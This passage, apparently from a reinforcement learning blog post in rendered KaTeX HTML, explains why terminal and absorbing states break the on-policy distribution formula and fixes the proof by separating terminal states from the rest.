<p>To see what is going on remember that <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span> represents
<em>“the number of time steps spent, on average, in state <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>s</mi></mrow><annotation encoding="application/x-tex">s</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.43056em;vertical-align:0em;"></span><span class="mord mathdefault">s</span></span></span></span></span>”</em>.
By definition, when reaching an absorbing state, like <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span>, we stay there forever.
Thus, as soon as we reach <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span>, we start looping, increasing indefinitely both
the total number of timesteps <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span></span> and our count <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mi mathvariant="normal">.</mi></mrow><annotation encoding="application/x-tex">\eta(B).</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mord">.</span></span></span></span></span></p>

<p>This can be seen by taking the limit for <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">p^\pi(B|B)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.664392em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span> in our previous formula:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><munder><mo><mi>lim</mi><mo>⁡</mo></mo><mrow><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo><mo>→</mo><msup><mn>1</mn><mo>+</mo></msup></mrow></munder><mfrac><mn>1</mn><mrow><mn>1</mn><mo>−</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>B</mi><mi mathvariant="normal">∣</mi><mi>B</mi><mo stretchy="false">)</mo></mrow></mfrac><mo>=</mo><mo>+</mo><mi mathvariant="normal">∞</mi></mrow><annotation encoding="application/x-tex">\lim_{p^\pi(B|B)\to1^+} \frac{1}{1-p^\pi(B|B)} = +\infty</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:2.28744em;vertical-align:-0.966em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.69444em;"><span style="top:-2.3089999999999997em;margin-left:0em;"><span class="pstrut" style="height:3em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mtight"><span class="mord mathdefault mtight">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.5935428571428571em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen mtight">(</span><span class="mord mathdefault mtight" style="margin-right:0.05017em;">B</span><span class="mord mtight">∣</span><span class="mord mathdefault mtight" style="margin-right:0.05017em;">B</span><span class="mclose mtight">)</span><span class="mrel mtight">→</span><span class="mord mtight"><span class="mord mtight">1</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span><span class="mop">lim</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.966em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord"><span class="mopen nulldelimiter"></span><span class="mfrac"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.32144em;"><span style="top:-2.314em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.590392em;"><span style="top:-2.9890000000000003em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mord">∣</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span><span style="top:-3.23em;"><span class="pstrut" style="height:3em;"></span><span class="frac-line" style="border-bottom-width:0.04em;"></span></span><span style="top:-3.677em;"><span class="pstrut" style="height:3em;"></span><span class="mord"><span class="mord">1</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.936em;"><span></span></span></span></span></span><span class="mclose nulldelimiter"></span></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.66666em;vertical-align:-0.08333em;"></span><span class="mord">+</span><span class="mord">∞</span></span></span></span></span></div>
<p>Well, then, our formula is not wrong … at least in the limit. However, our
average count <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(B)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span></span></span></span></span> goes to infinity, making our on-policy distribution
<span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>μ</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\mu(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">μ</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span> not so useful anymore. This is because <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>B</mi></mrow><annotation encoding="application/x-tex">B</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span></span></span></span></span> would take all the
weight, leading to <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>μ</mi><mo stretchy="false">(</mo><mi>B</mi><mo stretchy="false">)</mo><mo>=</mo><mn>1</mn></mrow><annotation encoding="application/x-tex">\mu(B)=1</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">μ</span><span class="mopen">(</span><span class="mord mathdefault" style="margin-right:0.05017em;">B</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">1</span></span></span></span></span>, and <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>μ</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>=</mo><mn>0</mn></mrow><annotation encoding="application/x-tex">\mu(s)=0</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">μ</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:0.64444em;vertical-align:0em;"></span><span class="mord">0</span></span></span></span></span> everywhere else.</p>
<p>This outcome too, is not satisfying. So, what should we conclude from all this?</p>

<h2 id="conclusion">Conclusion<a aria-hidden="true" tabindex="-1" class="h-anchor" href="#conclusion"><span class="icon icon-link"></span></a></h2>
<ul>
<li>In our first case, where the number of timesteps <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span></span> is finite, we cannot
treat terminal states like every other state, otherwise their probabilities
would not add up.</li>
<li>Similarly, in the second case, with infinite timesteps <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>T</mi></mrow><annotation encoding="application/x-tex">T</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathdefault" style="margin-right:0.13889em;">T</span></span></span></span></span>, we cannot treat
absorbing states like every other state (unless we introduce discounting),
otherwise the expected number of visits <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span></span></span></span></span> becomes infinite.</li>
</ul>
<p>One solution that works for both cases, is to partition the states in two
sets <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi mathvariant="script">S</mi></mrow><annotation encoding="application/x-tex">\mathcal S</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.68333em;vertical-align:0em;"></span><span class="mord mathcal" style="margin-right:0.075em;">S</span></span></span></span></span>, containing all states, except terminal states, and <span class="math math-inline"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow><annotation encoding="application/x-tex">\mathcal S^+</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.771331em;vertical-align:0em;"></span><span class="mord"><span class="mord mathcal" style="margin-right:0.075em;">S</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.771331em;"><span style="top:-3.063em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span></span>
containing every state, including terminal ones. Then, rewrite our original
formula as:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mrow><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>=</mo><mi>h</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>+</mo><munder><mo>∑</mo><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo>∈</mo><mi mathvariant="script">S</mi></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow><annotation encoding="application/x-tex">\eta(s) = h(s) + \sum_{\bar s\in \mathcal S} \eta(\bar s) p^\pi(s|\bar s)</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord mathdefault">h</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">+</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span></span><span class="base"><span class="strut" style="height:2.3717110000000003em;vertical-align:-1.321706em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8556639999999998em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mathdefault mtight">s</span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span><span class="mrel mtight">∈</span><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.321706em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span></span></span></div>
<p>Finally, let us revisit our original <em>proof</em>:</p>
<div class="math math-display"><span class="katex-display"><span class="katex"><span class="katex-mathml"><math xmlns="http://www.w3.org/1998/Math/MathML"><semantics><mtable rowspacing="0.24999999999999992em" columnalign="right left" columnspacing="0em"><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mn>1</mn></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow></munder><munder><mo>∑</mo><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo>∈</mo><mi mathvariant="script">S</mi></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo>∈</mo><mi mathvariant="script">S</mi></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo><menclose notation="updiagonalstrike downdiagonalstrike"><mrow><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow></munder><msup><mi>p</mi><mi>π</mi></msup><mo stretchy="false">(</mo><mi>s</mi><mi mathvariant="normal">∣</mi><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></menclose></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><msup><mi mathvariant="script">S</mi><mo>+</mo></msup></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo><mo>−</mo><munder><mo>∑</mo><mrow><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo>∈</mo><mi mathvariant="script">S</mi></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mover accent="true"><mi>s</mi><mo>ˉ</mo></mover><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr><mtr><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow></mrow></mstyle></mtd><mtd><mstyle scriptlevel="0" displaystyle="true"><mrow><mrow></mrow><mo>=</mo><munder><mo>∑</mo><mrow><mi>s</mi><mo>∈</mo><mrow><msup><mi mathvariant="script">S</mi><mo>+</mo></msup><mo>∖</mo><mi mathvariant="script">S</mi></mrow></mrow></munder><mi>η</mi><mo stretchy="false">(</mo><mi>s</mi><mo stretchy="false">)</mo></mrow></mstyle></mtd></mtr></mtable><annotation encoding="application/x-tex">\begin{aligned} 1 &#x26;= \sum_{s\in\mathcal{S}^+} \eta(s) - \sum_{s\in\mathcal{S}^+} \sum_{\bar{s}\in\mathcal S} \eta(\bar s) p^\pi(s|\bar s) \\ &#x26;= \sum_{s\in\mathcal{S}^+} \eta(s) - \sum_{\bar{s}\in\mathcal S} \eta(\bar s) \xcancel{\sum_{s\in\mathcal{S}^+} p^\pi(s|\bar s)} \\ &#x26;= \sum_{s\in\mathcal{S}^+} \eta(s) - \sum_{\bar{s}\in\mathcal S} \eta(\bar s) \\ &#x26;= \sum_{s\in\mathcal{S^+\setminus S}} \eta(s) \end{aligned}</annotation></semantics></math></span><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:10.921745em;vertical-align:-5.2108725em;"></span><span class="mord"><span class="mtable"><span class="col-align-r"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.7108725em;"><span style="top:-7.7108725em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"><span class="mord">1</span></span></span><span style="top:-5.025627500000001em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"></span></span><span style="top:-2.3403824999999996em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"></span></span><span style="top:0.3448624999999996em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:5.2108725em;"><span></span></span></span></span></span><span class="col-align-l"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:5.7108725em;"><span style="top:-7.7108725em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8421299999999996em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222222222222222em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8421299999999996em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" style="height:2.5em;"></span><span class="sizing reset-size3 size1 mtight"><span class="mbin mtight">+</span></span></span></span></span></span></span></span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.3352400000000002em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8556639999999998em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord accent mtight"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="mord mtight"><span class="mord mathdefault mtight">s</span></span></span><span style="top:-2.7em;"><span class="pstrut" style="height:2.7em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord mtight">ˉ</span></span></span></span></span></span></span><span class="mrel mtight">∈</span><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span></span></span><span style="top:-3.0500049999999996em;"><span class="pstrut" style="height:3.05em;"></span><span><span class="mop op-symbol large-op">∑</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:1.321706em;"><span></span></span></span></span></span><span class="mspace" style="margin-right:0.16666666666666666em;"></span><span class="mord mathdefault" style="margin-right:0.03588em;">η</span><span class="mopen">(</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span><span class="mord"><span class="mord mathdefault">p</span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7143919999999999em;"><span style="top:-3.113em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathdefault mtight" style="margin-right:0.03588em;">π</span></span></span></span></span></span></span></span><span class="mopen">(</span><span class="mord mathdefault">s</span><span class="mord">∣</span><span class="mord accent"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.56778em;"><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="mord mathdefault">s</span></span><span style="top:-3em;"><span class="pstrut" style="height:3em;"></span><span class="accent-body" style="left:-0.19444em;"><span class="mord">ˉ</span></span></span></span></span></span></span><span class="mclose">)</span></span></span><span style="top:-5.025627500000001em;"><span class="pstrut" style="height:3.050005em;"></span><span class="mord"><span class="mord"></span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2777777777777778em;"></span><span class="mop op-limits"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:1.050005em;"><span style="top:-1.8421299999999996em;margin-left:0em;"><span class="pstrut" style="height:3.05em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathdefault mtight">s</span><span class="mrel mtight">∈</span><span class="mord mtight"><span class="mord mtight"><span class="mord mathcal mtight" style="margin-right:0.075em;">S</span></span><span class="msupsub"><span class="vlist-t"><span class="vlist-r"><span class="vlist" style="height:0.7026642857142857em;"><span style="top:-2.786em;margin-right:0.07142857142857144em;"><span class="pstrut" 